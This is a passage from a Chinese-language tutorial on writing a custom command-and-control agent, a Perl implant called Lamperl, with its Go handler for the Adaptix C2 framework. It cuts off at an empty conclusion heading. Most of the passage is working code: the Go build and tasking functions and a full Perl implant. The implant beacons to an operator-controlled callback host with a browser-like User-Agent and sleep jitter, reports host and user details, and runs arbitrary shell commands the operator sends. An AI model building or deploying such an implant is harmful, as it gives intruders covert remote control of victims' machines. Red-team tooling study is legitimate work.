&nbsp;}

// Agent generates its own ID at runtime - no need to include in profile
profileData:=map[string]string{
"callback_addr": callbackAddr,
"api_path": &nbsp; &nbsp; &nbsp;apiPath,
&nbsp;}

profileBytes,&nbsp;err:=&nbsp;json.Marshal(profileData)
if&nbsp;err&nbsp;!=nil&nbsp;{
returnnil, err
&nbsp;}

/// END CODE HERE

return&nbsp;profileBytes,&nbsp;nil
}

该函数会反序列化 agent config,从 listener map 中提取 callback_address与 api_path,并将其打包为 JSON profile,用于 agent 构建阶段。

AgentGenerateBuild函数通过把 Perl 模板中的占位符替换为实际配置值,从而生成可部署的 agent:

// AgentGenerateBuild creates a deployable agent by replacing placeholders in the template.
// This function reads the Perl agent template and injects configuration values.
// Parameters:
// &nbsp; - agentConfig: JSON string with agent-specific configuration
// &nbsp; - agentProfile: JSON-encoded profile data from AgentGenerateProfile
// &nbsp; - listenerMap: Map containing listener configuration
//
// Returns:
// &nbsp; - Agent file content (Perl script with placeholders replaced)
// &nbsp; - Filename for the generated agent
// &nbsp; - Error if any step fails
funcAgentGenerateBuild(agentConfig&nbsp;string, agentProfile []byte, listenerMap&nbsp;map[string]any) ([]byte,&nbsp;string,&nbsp;error) {
var&nbsp;(
&nbsp; Filename &nbsp; &nbsp;&nbsp;string
&nbsp; buildContent []byte
&nbsp;)

/// START CODE HERE

// Parse profile
var&nbsp;profile&nbsp;map[string]string
err:=&nbsp;json.Unmarshal(agentProfile,&nbsp;&profile)
if&nbsp;err&nbsp;!=nil&nbsp;{
returnnil,&nbsp;"", err
&nbsp;}

callbackAddr:=&nbsp;profile["callback_addr"]
apiPath:=&nbsp;profile["api_path"]

// Parse callback address
host,&nbsp;port,&nbsp;err:=&nbsp;net.SplitHostPort(strings.TrimPrefix(strings.TrimPrefix(callbackAddr,&nbsp;"http://"),&nbsp;"https://"))
if&nbsp;err&nbsp;!=nil&nbsp;{
returnnil,&nbsp;"", fmt.Errorf("invalid callback address:&nbsp;%v", err)
&nbsp;}

// Read agent template
currentDir:=&nbsp;ModuleDir
Filename="lamperl.pl"

agentContentBytes,&nbsp;err:=&nbsp;os.ReadFile(currentDir&nbsp;+"/src_lamperl/lamperl.pl")
if&nbsp;err&nbsp;!=nil&nbsp;{
returnnil,&nbsp;"", err
&nbsp;}

agentContent:=string(agentContentBytes)

// Replace placeholders (agent generates its own ID at runtime)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<CALLBACK_HOST>", host)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<CALLBACK_PORT>", port)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<CALLBACK_PATH>", apiPath)
agentContent=&nbsp;strings.ReplaceAll(agentContent,&nbsp;"<WATERMARK>", AgentWatermark)

buildContent=&nbsp;[]byte(agentContent)

/// END CODE HERE

return&nbsp;buildContent, Filename,&nbsp;nil
}

这就是我们在右键菜单中选择“Generate”时实际执行的构建逻辑。它会:

  • 解析 agentProfile以提取 callback_addr与 api_path
  • 将 callback address 拆分为 host 与 port
  • 从 src_lamperl/lamperl.pl读取 Perl 模板
  • 替换占位符:<CALLBACK_HOST><CALLBACK_PORT><CALLBACK_PATH><WATERMARK>
  • 返回修改后的脚本字节内容以及文件名

有了生成相关函数后,我们就可以实现 CreateAgent:它解析初始 beacon 数据,并在 C2 中注册一个新的 agent:

// CreateAgent parses initial beacon data and populates agent metadata.
// Called when an agent checks in for the first time to register it in the C2.
// Parameters:
// &nbsp; - initialData: JSON-encoded system information from the agent's first beacon
//
// Returns: Populated AgentData struct with system info, sleep/jitter settings, etc.
funcCreateAgent(initialData []byte) (adaptix.AgentData,&nbsp;error) {
var&nbsp;agentData adaptix.AgentData

/// START CODE HERE

var&nbsp;initData&nbsp;map[string]interface{}
err:=&nbsp;json.Unmarshal(initialData,&nbsp;&initData)
if&nbsp;err&nbsp;!=nil&nbsp;{
return&nbsp;agentData, err
&nbsp;}

// Extract agent information
agentData.Computer=getString(initData,&nbsp;"hostname")
agentData.Username=getString(initData,&nbsp;"username")
agentData.Domain=getString(initData,&nbsp;"domain")
agentData.InternalIP=getString(initData,&nbsp;"internal_ip")
agentData.Process=getString(initData,&nbsp;"process")
agentData.Pid=&nbsp;fmt.Sprintf("%d",&nbsp;getInt(initData,&nbsp;"pid"))
agentData.Sleep=uint(getInt(initData,&nbsp;"sleep"))
agentData.Jitter=uint(getInt(initData,&nbsp;"jitter"))
agentData.Os=&nbsp;OS_LINUX

// No encryption for now
agentData.SessionKey=&nbsp;[]byte("NULL")

/// END CODE

return&nbsp;agentData,&nbsp;nil
}

该函数的流程很清晰:把 JSON 反序列化为 map,提取系统信息 (hostname、username、domain、internal IP、process name、PID),提取运行参数 (sleep 与 jitter),将 OS 类型设为 Linux,并把 session key 初始化为“NULL” (加密会在后续版本实现)。

任务处理

现在我们需要处理双向的任务流。PackTasks函数会把 Adaptix 内部的任务结构转换为我们的 Perl agent 所期望的 JSON 格式:

/// TASKS
// PackTasks converts Adaptix TaskData array into agent-consumable JSON format.
// Called when the agent checks in to send pending tasks for execution.
// Parameters:
// &nbsp; - agentData: Agent metadata (unused but required by interface)
// &nbsp; - tasksArray: Array of tasks to send to the agent
//
// Returns: JSON-encoded response with tasks array, each containing task_id and command data
funcPackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte,&nbsp;error) {
var&nbsp;packData []byte

/// START CODE HERE

var&nbsp;tasks []map[string]interface{}

for_,&nbsp;task:=range&nbsp;tasksArray {
var&nbsp;taskMap&nbsp;map[string]interface{}
err:=&nbsp;json.Unmarshal(task.Data,&nbsp;&taskMap)
if&nbsp;err&nbsp;!=nil&nbsp;{
continue
&nbsp; }

&nbsp; taskMap["task_id"]&nbsp;=&nbsp;task.TaskId
tasks=append(tasks, taskMap)
&nbsp;}

response:=map[string]interface{}{
"tasks": tasks,
&nbsp;}

packData,&nbsp;err:=&nbsp;json.Marshal(response)
if&nbsp;err&nbsp;!=nil&nbsp;{
returnnil, err
&nbsp;}

/// END CODE

return&nbsp;packData,&nbsp;nil
}

该函数遍历每个任务,将其 data 反序列化为 map,加入 task ID,然后把所有内容封装到一个 response 对象中,最后序列化为 JSON。

CreateTask函数负责 operator-to-agent 方向:把控制台命令转换为任务结构。在这个初始版本中,我们实现三个命令:pwdcd和 run

// CreateTask converts user input from the UI into a task for the agent.
// Called when an operator executes a command in the Adaptix console.
// Parameters:
// &nbsp; - ts: Teamserver interface for C2 operations
// &nbsp; - agent: Agent metadata
// &nbsp; - args: Map containing command name and parameters from UI
//
// Returns:
// &nbsp; - TaskData: Serialized task to send to agent
// &nbsp; - ConsoleMessageData: Message to display in operator's console
// &nbsp; - Error if command is invalid or parameters are missing
funcCreateTask(ts Teamserver, agent adaptix.AgentData, args&nbsp;map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData,&nbsp;error) {
var&nbsp;(
&nbsp; taskData &nbsp; &nbsp;adaptix.TaskData
&nbsp; messageData adaptix.ConsoleMessageData
&nbsp; err &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;error
&nbsp;)

//command, ok := args["command"].(string)
//if !ok {
// return taskData, messageData, errors.New("'command' must be set")
//}
//subcommand, _ := args["subcommand"].(string)

taskData=&nbsp;adaptix.TaskData{
&nbsp; Type: TYPE_TASK,
&nbsp; Sync:&nbsp;true,
&nbsp;}

messageData=&nbsp;adaptix.ConsoleMessageData{
&nbsp; Status: MESSAGE_INFO,
&nbsp; Text: &nbsp;&nbsp;"",
&nbsp;}
messageData.Message,&nbsp;_=&nbsp;args["message"].(string)

/// START CODE HERE

command,&nbsp;ok:=&nbsp;args["command"].(string)
if!ok {
return&nbsp;taskData, messageData, errors.New("'command' must be set")
&nbsp;}

commandData:=make(map[string]interface{})
&nbsp;commandData["command"]&nbsp;=&nbsp;command

switch&nbsp;command {
case"pwd":
// No additional parameters needed
case"cd":
path,&nbsp;ok:=&nbsp;args["path"].(string)
if!ok {
err=&nbsp;errors.New("parameter 'path' must be set")
return&nbsp;taskData, messageData, err
&nbsp; }
&nbsp; commandData["path"]&nbsp;=&nbsp;path
case"run":
executable,&nbsp;ok:=&nbsp;args["executable"].(string)
if!ok {
err=&nbsp;errors.New("parameter 'executable' must be set")
return&nbsp;taskData, messageData, err
&nbsp; }
&nbsp; commandData["executable"]&nbsp;=&nbsp;executable
ifcmdArgs,&nbsp;ok:=&nbsp;args["args"].(string); ok {
&nbsp; &nbsp;commandData["args"]&nbsp;=&nbsp;cmdArgs
&nbsp; }
default:
err=&nbsp;fmt.Errorf("unknown command:&nbsp;%s", command)
return&nbsp;taskData, messageData, err
&nbsp;}

taskData.Data,&nbsp;err=&nbsp;json.Marshal(commandData)
if&nbsp;err&nbsp;!=nil&nbsp;{
return&nbsp;taskData, messageData, err
&nbsp;}

/// END CODE

return&nbsp;taskData, messageData, err
}

该函数从 args map 中提取命令名,然后按命令类型构造 commandDatapwd不需要额外参数,cd需要 path,run需要 executable 以及可选 args。随后将其序列化为 JSON,并写入 taskData.Data

这三个命令为测试提供了坚实基础:文件系统导航 (pwdcd) 加上任意命令执行 (run),足以覆盖验证整个任务流所需的关键操作。

最后,ProcessTasksResult负责 agent-to-operator 方向:解析任务结果并格式化为控制台输出:

// ProcessTasksResult parses agent task responses and displays formatted output.
// Called when agent sends back task execution results.
// Parameters:
// &nbsp; - ts: Teamserver interface for console output
// &nbsp; - agentData: Agent metadata
// &nbsp; - taskData: Original task data (unused but required by interface)
// &nbsp; - packedData: JSON-encoded array of task results from agent
//
// Returns: Array of additional tasks to queue (currently always empty)
funcProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
var&nbsp;outTasks []adaptix.TaskData

/// START CODE

// Parse results array
var&nbsp;results []map[string]interface{}
err:=&nbsp;json.Unmarshal(packedData,&nbsp;&results)
if&nbsp;err&nbsp;!=nil&nbsp;{
return&nbsp;outTasks
&nbsp;}

// Process each result
for_,&nbsp;result:=range&nbsp;results {
_=getString(result,&nbsp;"task_id")
output:=getString(result,&nbsp;"output")

// Parse the output JSON to format it nicely
var&nbsp;outputData&nbsp;map[string]interface{}
err:=&nbsp;json.Unmarshal([]byte(output),&nbsp;&outputData)
if&nbsp;err&nbsp;!=nil&nbsp;{
// If parsing fails, just show raw output
continue
&nbsp; }

command:=getString(outputData,&nbsp;"command")

// Format output for console display
var&nbsp;consoleOutput&nbsp;string
switch&nbsp;command {
case"pwd":
path:=getString(outputData,&nbsp;"path")
consoleOutput=&nbsp;fmt.Sprintf("Current directory:&nbsp;%s", path)
case"cd":
iferrMsg:=getString(outputData,&nbsp;"error"); errMsg&nbsp;!=""&nbsp;{
consoleOutput=&nbsp;fmt.Sprintf("Error:&nbsp;%s", errMsg)
&nbsp; &nbsp;}&nbsp;else&nbsp;{
path:=getString(outputData,&nbsp;"path")
consoleOutput=&nbsp;fmt.Sprintf("Changed directory to:&nbsp;%s", path)
&nbsp; &nbsp;}
case"run":
executable:=getString(outputData,&nbsp;"executable")
args:=getString(outputData,&nbsp;"args")
stdout:=getString(outputData,&nbsp;"stdout")
exitCode:=getInt(outputData,&nbsp;"exit_code")

cmdStr:=&nbsp;executable
if&nbsp;args&nbsp;!=""&nbsp;{
cmdStr=&nbsp;fmt.Sprintf("%s%s", executable, args)
&nbsp; &nbsp;}

consoleOutput=&nbsp;fmt.Sprintf("Running command:&nbsp;%s\n\n%s\nExit code:&nbsp;%d", cmdStr, stdout, exitCode)
default:
iferrMsg:=getString(outputData,&nbsp;"error"); errMsg&nbsp;!=""&nbsp;{
consoleOutput=&nbsp;fmt.Sprintf("Error:&nbsp;%s", errMsg)
&nbsp; &nbsp;}&nbsp;else&nbsp;{
// Show raw JSON output for unknown commands
jsonBytes,&nbsp;_:=&nbsp;json.MarshalIndent(outputData,&nbsp;"",&nbsp;" &nbsp;")
consoleOutput=string(jsonBytes)
&nbsp; &nbsp;}
&nbsp; }

// Output to agent console
&nbsp; ts.TsAgentConsoleOutput(agentData.Id, MESSAGE_SUCCESS, consoleOutput,&nbsp;"",&nbsp;true)
&nbsp;}

/// END CODE

return&nbsp;outTasks
}

该函数把 packed data 反序列化为 results 数组,然后逐条提取 task ID 与 output,解析 output JSON,并按命令类型格式化,最后通过 TsAgentConsoleOutput在 UI 中显示。

代理 ax_config.axs

最后,我们需要为 agent 编写 ax_config.axs文件,用于注册我们在 CreateTask中定义的命令:

function&nbsp;RegisterCommands(listenerType)
{
/// Commands Here
&nbsp; &nbsp; let&nbsp;cmd_pwd=&nbsp;ax.create_command("pwd",&nbsp;"Print working directory",&nbsp;"pwd",&nbsp;"Task: print working directory");

&nbsp; &nbsp; let&nbsp;cmd_cd=&nbsp;ax.create_command("cd",&nbsp;"Change directory",&nbsp;"cd /etc",&nbsp;"Task: change directory");
&nbsp; &nbsp; cmd_cd.addArgString("path",&nbsp;true,&nbsp;"Target directory path");

&nbsp; &nbsp; let&nbsp;cmd_run=&nbsp;ax.create_command("run",&nbsp;"Execute command",&nbsp;"run whoami",&nbsp;"Task: execute command");
&nbsp; &nbsp; cmd_run.addArgString("executable",&nbsp;true,&nbsp;"Command or executable to run");
&nbsp; &nbsp; cmd_run.addArgString("args",&nbsp;false,&nbsp;"Command arguments");

if(listenerType&nbsp;=="LamperlHTTP") {
&nbsp; &nbsp; &nbsp; &nbsp; let&nbsp;commands_external=&nbsp;ax.create_commands_group("Lamperl", [cmd_pwd, cmd_cd, cmd_run]);

return&nbsp;{ commands_linux: commands_external }
&nbsp; &nbsp; }
return&nbsp;ax.create_commands_group("none",[]);
}

function&nbsp;GenerateUI(listenerType)
{
&nbsp; &nbsp; let&nbsp;container=&nbsp;form.create_container()

&nbsp; &nbsp; let&nbsp;panel=&nbsp;form.create_panel()

return&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; ui_panel: panel,
&nbsp; &nbsp; &nbsp; &nbsp; ui_container: container
&nbsp; &nbsp; }
}

至此,agent handler 部分就完成了:在 lamperl_agent目录运行 make即可构建。

当 Go 侧的基础设施就位后,终于可以开始编写真正运行在目标系统上的 Perl agent 了。

Lamperl 代理

在添加任何命令之前,先要把 callback 机制做稳。我们先从定义必要变量开始:

# Configuration
my$callback_host&nbsp; &nbsp;=&nbsp;'<CALLBACK_HOST>';
my$callback_port&nbsp; &nbsp;=&nbsp;'<CALLBACK_PORT>';
my$callback_path&nbsp; &nbsp;=&nbsp;'<CALLBACK_PATH>';
my$agent_watermark&nbsp;=&nbsp;'<WATERMARK>';

# Generate random 10-character hex agent ID at runtime
srand(time&nbsp;^&nbsp;$$&nbsp;^&nbsp;unpack("%L*",&nbsp;`ps axww | gzip -f`));
my$agent_id&nbsp;=&nbsp;sprintf("%010x",&nbsp;int(rand() * 1099511627776) % 1099511627776);

# Agent state
my$sleep_time&nbsp; &nbsp; &nbsp; &nbsp; = 5;
my$jitter_percent&nbsp; &nbsp; = 10;
my$current_directory&nbsp;= Cwd::getcwd();
my$should_terminate&nbsp; = 0;

# Reusable JSON encoder
my$json&nbsp;= JSON::PP->new->utf8->canonical;

这些占位符值 (<CALLBACK_HOST>等) 会在构建阶段由前面实现的 AgentGenerateBuild函数替换。为保证唯一性,agent ID 在运行时随机生成 (10 字符)。同时,我们用 $current_directory跟踪当前工作目录以支持文件系统操作,并复用一个 JSON encoder 来简化通信逻辑。

接着实现一个函数,用于首次 check-in 时收集初始系统信息:

# Get initial system information
subget_init_data&nbsp;{
my$hostname&nbsp;=&nbsp;`hostname`;
chomp($hostname);

my$username&nbsp;=&nbsp;getpwuid($<) ||&nbsp;$<;

my$internal_ip&nbsp;=&nbsp;'';
my$sock&nbsp;= IO::Socket::INET->new(
PeerAddr=>'8.8.8.8',
PeerPort=>&nbsp;53,
Proto=>'udp',
&nbsp; &nbsp; );

if&nbsp;($sock) {
$internal_ip&nbsp;=&nbsp;$sock->sockhost();
close($sock);
&nbsp; &nbsp; }

return&nbsp;{
hostname=>$hostname,
username=>$username,
domain=>'',
internal_ip=>$internal_ip,
process=>$0,
pid=>$$,
sleep=>$sleep_time,
jitter=>$jitter_percent,
&nbsp; &nbsp; };
}

最关键的是 HTTP 通信函数:所有与监听器的交互都在这里完成:

# Send HTTP request
subsend_request&nbsp;{
my&nbsp;($beat,&nbsp;$init,&nbsp;$results) =&nbsp;@_;

printSTDERR"[DEBUG] Connecting to&nbsp;$callback_host:$callback_port\n";

my$sock&nbsp;= IO::Socket::INET->new(
PeerHost=>$callback_host,
PeerPort=>$callback_port,
Proto=>'tcp',
Timeout=>&nbsp;10,
&nbsp; &nbsp; );

unless&nbsp;($sock) {
printSTDERR"[ERROR] Failed to connect:&nbsp;$!\n";
returnundef;
&nbsp; &nbsp; }

printSTDERR"[DEBUG] Connected successfully\n";

&nbsp; &nbsp; # Build request body
my$body&nbsp;= {&nbsp;beat=>$beat&nbsp;};
$body->{init} =&nbsp;$initif$init;
$body->{results} =&nbsp;$resultsif$results&nbsp;&&&nbsp;@$results;

my$body_json&nbsp;=&nbsp;$json->encode($body);
my$content_length&nbsp;=&nbsp;length($body_json);

printSTDERR"[DEBUG] Beat:&nbsp;$beat\n";
printSTDERR"[DEBUG] Body length:&nbsp;$content_length&nbsp;bytes\n";
printSTDERR"[DEBUG] Body:&nbsp;$body_json\n";
printSTDERR"[DEBUG] Sending request...\n";

&nbsp; &nbsp; # Send HTTP request
print$sockjoin("\r\n",
"POST&nbsp;$callback_path&nbsp;HTTP/1.1",
"Host:&nbsp;$callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length:&nbsp;$content_length",
"Connection: close",
"",
$body_json
&nbsp; &nbsp; );

&nbsp; &nbsp; # Read response
local$/&nbsp;=&nbsp;undef;
my$response&nbsp;= <$sock>;
close($sock);

printSTDERR"[DEBUG] Response length: "&nbsp;.&nbsp;length($response) .&nbsp;" bytes\n";
printSTDERR"[DEBUG] Response:\n$response\n";

&nbsp; &nbsp; # Parse response body
returnundefunless$response;
returnundefunless$response&nbsp;=~&nbsp;/\r?\n\r?\n(.+)$/s;

my$data&nbsp;=&nbsp;eval&nbsp;{&nbsp;$json->decode($1) };
if&nbsp;($@) {
printSTDERR"[ERROR] JSON decode failed:&nbsp;$@\n";
&nbsp; &nbsp; }
return$data;
}

该函数覆盖了完整的 HTTP 请求/响应流程:

  1. 与监听器建立 TCP 连接,并设置 10 秒超时
  2. 构建 JSON 请求体:按需包含 init 数据 (仅首次 check-in) 或 results (任务输出)
  3. 手工构造并发送带正确 header 的 HTTP POST 请求。这里直接拼 raw HTTP,而不是用库,以尽量减少依赖
  4. 通过临时禁用 Perl 的输入记录分隔符 (local $/ = undef) 来读取完整响应,从而一次性读入全部内容
  5. 使用 regex 提取响应 body:匹配 HTTP headers 之后的所有内容 (\r?\n\r?\n序列标记 headers 结束)
  6. 解码 JSON 响应并返回解析后的数据结构;任何一步失败则返回 undef

大量的 debug print 能显著降低开发与测试阶段排查通信问题的成本。

另外加一个辅助函数,用于计算带 jitter 的 sleep 间隔:

# Calculate sleep time with jitter
subcalculate_sleep&nbsp;{
return$sleep_timeunless$jitter_percent&nbsp;> 0;
return$sleep_time&nbsp;+&nbsp;int(rand($sleep_time&nbsp;*&nbsp;$jitter_percent&nbsp;/ 100));
}

最后实现主执行循环:

# Main loop
submain&nbsp;{
my$beat&nbsp;=&nbsp;$agent_watermark&nbsp;.&nbsp;$agent_id;
my$init_data&nbsp;= get_init_data();
my$first_checkin&nbsp;= 1;

printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark:&nbsp;$agent_watermark\n";
printSTDERR"[INFO] Agent ID:&nbsp;$agent_id\n";
printSTDERR"[INFO] Beat:&nbsp;$beat\n";
printSTDERR"[INFO] Callback:&nbsp;$callback_host:$callback_port$callback_path\n";

while&nbsp;(!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";

&nbsp; &nbsp; &nbsp; &nbsp; # Send beacon with init data on first checkin only
my$response&nbsp;= send_request($beat,&nbsp;$first_checkin&nbsp;?&nbsp;$init_data&nbsp;:&nbsp;undef,&nbsp;undef);
$first_checkin&nbsp;= 0;

sleep(calculate_sleep());
&nbsp; &nbsp; }
}

下面给出完整的初始 agent 实现:

#!/usr/bin/perl
use&nbsp;strict;
use&nbsp;warnings;
use&nbsp;IO::Socket::INET;
use&nbsp;JSON::PP;
use&nbsp;MIME::Base64;
use&nbsp;Cwd;

# Configuration
my$callback_host&nbsp; &nbsp;=&nbsp;'<CALLBACK_HOST>';
my$callback_port&nbsp; &nbsp;=&nbsp;'<CALLBACK_PORT>';
my$callback_path&nbsp; &nbsp;=&nbsp;'<CALLBACK_PATH>';
my$agent_watermark&nbsp;=&nbsp;'<WATERMARK>';

# Generate random 10-character hex agent ID at runtime
srand(time&nbsp;^&nbsp;$$&nbsp;^&nbsp;unpack("%L*",&nbsp;`ps axww | gzip -f`));
my$agent_id&nbsp;=&nbsp;sprintf("%010x",&nbsp;int(rand() * 1099511627776) % 1099511627776);

# Agent state
my$sleep_time&nbsp; &nbsp; &nbsp; &nbsp; = 5;
my$jitter_percent&nbsp; &nbsp; = 10;
my$current_directory&nbsp;= Cwd::getcwd();
my$should_terminate&nbsp; = 0;

# Reusable JSON encoder
my$json&nbsp;= JSON::PP->new->utf8->canonical;

# Get initial system information
subget_init_data&nbsp;{
my$hostname&nbsp;=&nbsp;`hostname`;
chomp($hostname);

my$username&nbsp;=&nbsp;getpwuid($<) ||&nbsp;$<;
my$internal_ip&nbsp;=&nbsp;'';

my$sock&nbsp;= IO::Socket::INET->new(
PeerAddr=>'8.8.8.8',
PeerPort=>&nbsp;53,
Proto=>'udp',
&nbsp; &nbsp; );

if&nbsp;($sock) {
$internal_ip&nbsp;=&nbsp;$sock->sockhost();
close($sock);
&nbsp; &nbsp; }

return&nbsp;{
hostname=>$hostname,
username=>$username,
domain=>'',
internal_ip=>$internal_ip,
process=>$0,
pid=>$$,
sleep=>$sleep_time,
jitter=>$jitter_percent,
&nbsp; &nbsp; };
}

# Send HTTP request
subsend_request&nbsp;{
my&nbsp;($beat,&nbsp;$init,&nbsp;$results) =&nbsp;@_;

printSTDERR"[DEBUG] Connecting to&nbsp;$callback_host:$callback_port\n";

my$sock&nbsp;= IO::Socket::INET->new(
PeerHost=>$callback_host,
PeerPort=>$callback_port,
Proto=>'tcp',
Timeout=>&nbsp;10,
&nbsp; &nbsp; );

unless&nbsp;($sock) {
printSTDERR"[ERROR] Failed to connect:&nbsp;$!\n";
returnundef;
&nbsp; &nbsp; }

printSTDERR"[DEBUG] Connected successfully\n";

&nbsp; &nbsp; # Build request body
my$body&nbsp;= {&nbsp;beat=>$beat&nbsp;};
$body->{init} =&nbsp;$initif$init;
$body->{results} =&nbsp;$resultsif$results&nbsp;&&&nbsp;@$results;

my$body_json&nbsp;=&nbsp;$json->encode($body);
my$content_length&nbsp;=&nbsp;length($body_json);

printSTDERR"[DEBUG] Beat:&nbsp;$beat\n";
printSTDERR"[DEBUG] Body length:&nbsp;$content_length&nbsp;bytes\n";
printSTDERR"[DEBUG] Body:&nbsp;$body_json\n";
printSTDERR"[DEBUG] Sending request...\n";

&nbsp; &nbsp; # Send HTTP request
print$sockjoin(
"\r\n",
"POST&nbsp;$callback_path&nbsp;HTTP/1.1",
"Host:&nbsp;$callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length:&nbsp;$content_length",
"Connection: close",
"",
$body_json
&nbsp; &nbsp; );

&nbsp; &nbsp; # Read response
local$/&nbsp;=&nbsp;undef;
my$response&nbsp;= <$sock>;
close($sock);

printSTDERR"[DEBUG] Response length: "&nbsp;.&nbsp;length($response) .&nbsp;" bytes\n";
printSTDERR"[DEBUG] Response:\n$response\n";

&nbsp; &nbsp; # Parse response body
returnundefunless$response;
returnundefunless$response&nbsp;=~&nbsp;/\\r?\\n\\r?\\n(.+)$/s;

my$data&nbsp;=&nbsp;eval&nbsp;{&nbsp;$json->decode($1) };
if&nbsp;($@) {
printSTDERR"[ERROR] JSON decode failed:&nbsp;$@\n";
&nbsp; &nbsp; }
return$data;
}

# Calculate sleep time with jitter
subcalculate_sleep&nbsp;{
return$sleep_timeunless$jitter_percent&nbsp;> 0;
return$sleep_time&nbsp;+&nbsp;int(rand($sleep_time&nbsp;*&nbsp;$jitter_percent&nbsp;/ 100));
}

# Main loop
submain&nbsp;{
my$beat&nbsp;=&nbsp;$agent_watermark&nbsp;.&nbsp;$agent_id;
my$init_data&nbsp;= get_init_data();
my$first_checkin&nbsp;= 1;

printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark:&nbsp;$agent_watermark\n";
printSTDERR"[INFO] Agent ID:&nbsp;$agent_id\n";
printSTDERR"[INFO] Beat:&nbsp;$beat\n";
printSTDERR"[INFO] Callback:&nbsp;$callback_host:$callback_port$callback_path\n";

while&nbsp;(!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";

&nbsp; &nbsp; &nbsp; &nbsp; # Send beacon with init data on first checkin only
my$response&nbsp;= send_request($beat,&nbsp;$first_checkin&nbsp;?&nbsp;$init_data&nbsp;:&nbsp;undef,&nbsp;undef);
$first_checkin&nbsp;= 0;

sleep(calculate_sleep());
&nbsp; &nbsp; }
}

main();

运行前可以先检查 Perl 语法:

perl -c lamperl.pl

现在在 Adaptix 中创建 listener,生成 agent 并启动:

perl lamperl.pl

成功,agent 已出现在 Adaptix 中:

不过目前还没有任何实际功能:agent 只能 beacon。下面把功能补上。

添加命令功能

这个初始版本实现三个命令:cdpwd和 run。我们采用 dispatch table 模式来实现清晰的命令路由。首先定义命令表,并实现分发机制:

# Command dispatch table
my%COMMANDS&nbsp;= (
pwd=>&nbsp;\&cmd_pwd,
cd=>&nbsp;\&cmd_cd,
run=>&nbsp;\&cmd_run,
);

# Execute a command using dispatch table
subexecute_command&nbsp;{
my&nbsp;($task) =&nbsp;@_;
my$task_id&nbsp;=&nbsp;$task->{task_id};
my$command&nbsp;=&nbsp;$task->{command};

my$handler&nbsp;=&nbsp;$COMMANDS{$command};
my$result&nbsp;=&nbsp;$handler
&nbsp; &nbsp; &nbsp; &nbsp; ?&nbsp;$handler->($task)
&nbsp; &nbsp; &nbsp; &nbsp; : {&nbsp;command=>$command,&nbsp;error=>"Unknown command:&nbsp;$command"&nbsp;};

return&nbsp;{
task_id=>$task_id,
output=>$json->encode($result),
&nbsp; &nbsp; };
}

接下来实现这三个命令。它们的模式一致:执行操作,捕获输出,再返回结构化结果。

cmd_pwd的实现很简单:返回当前目录:

subcmd_pwd&nbsp;{
my&nbsp;($task) =&nbsp;@_;
return&nbsp;{
command=>'pwd',
path=>$current_directory,
&nbsp; &nbsp; };
}

cmd_cd会先校验目标路径是否存在,再切换目录:

subcmd_cd&nbsp;{
my&nbsp;($task) =&nbsp;@_;
my$path&nbsp;=&nbsp;$task->{path} ||&nbsp;'/';

unless&nbsp;(-d$path) {
return&nbsp;{
command=>'cd',
error=>"Directory not found:&nbsp;$path",
&nbsp; &nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; }

$current_directory&nbsp;= Cwd::abs_path($path);
return&nbsp;{
command=>'cd',
path=>$current_directory,
&nbsp; &nbsp; };
}

最后,cmd_run通过 /bin/sh执行任意命令,并捕获 stdout 与 exit code:

subcmd_run&nbsp;{
my&nbsp;($task) =&nbsp;@_;
my$executable&nbsp;=&nbsp;$task->{executable} ||&nbsp;'/bin/sh';
my$args&nbsp;=&nbsp;$task->{args} ||&nbsp;'';
my$cmd&nbsp;=&nbsp;$args&nbsp;?&nbsp;"$executable$args"&nbsp;:&nbsp;$executable;

my$output&nbsp;=&nbsp;`$cmd&nbsp;2>&1`;
my$exit_code&nbsp;=&nbsp;$?&nbsp;>> 8;

return&nbsp;{
command=>'run',
executable=>$executable,
args=>$args,
stdout=>$output,
exit_code=>$exit_code,
&nbsp; &nbsp; };
}

最后一步是更新主循环:检查并执行下发的命令:

submain&nbsp;{
my$beat&nbsp;=&nbsp;$agent_watermark&nbsp;.&nbsp;$agent_id;
my$init_data&nbsp;= get_init_data();
my$first_checkin&nbsp;= 1;

printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark:&nbsp;$agent_watermark\n";
printSTDERR"[INFO] Agent ID:&nbsp;$agent_id\n";
printSTDERR"[INFO] Beat:&nbsp;$beat\n";
printSTDERR"[INFO] Callback:&nbsp;$callback_host:$callback_port$callback_path\n";

while&nbsp;(!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";

&nbsp; &nbsp; &nbsp; &nbsp; # Send beacon with init data on first checkin only
my$response&nbsp;= send_request($beat,&nbsp;$first_checkin&nbsp;?&nbsp;$init_data&nbsp;:&nbsp;undef,&nbsp;undef);
$first_checkin&nbsp;= 0;

&nbsp; &nbsp; &nbsp; &nbsp; # Execute tasks&nbsp;if&nbsp;present
if&nbsp;($response&nbsp;&&&nbsp;$response->{tasks} && @{$response->{tasks}}) {
my@results&nbsp;=&nbsp;map&nbsp;{ execute_command($_) } @{$response->{tasks}};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; send_request($beat,&nbsp;undef, \@results)&nbsp;if@results;
&nbsp; &nbsp; &nbsp; &nbsp; }

sleep(calculate_sleep());
&nbsp; &nbsp; }
}

现在重新构建监听器与 agent,生成一个新的 agent,并运行:

连接已成功建立:

agent 现在可以切换目录:

并执行任意命令:

结论

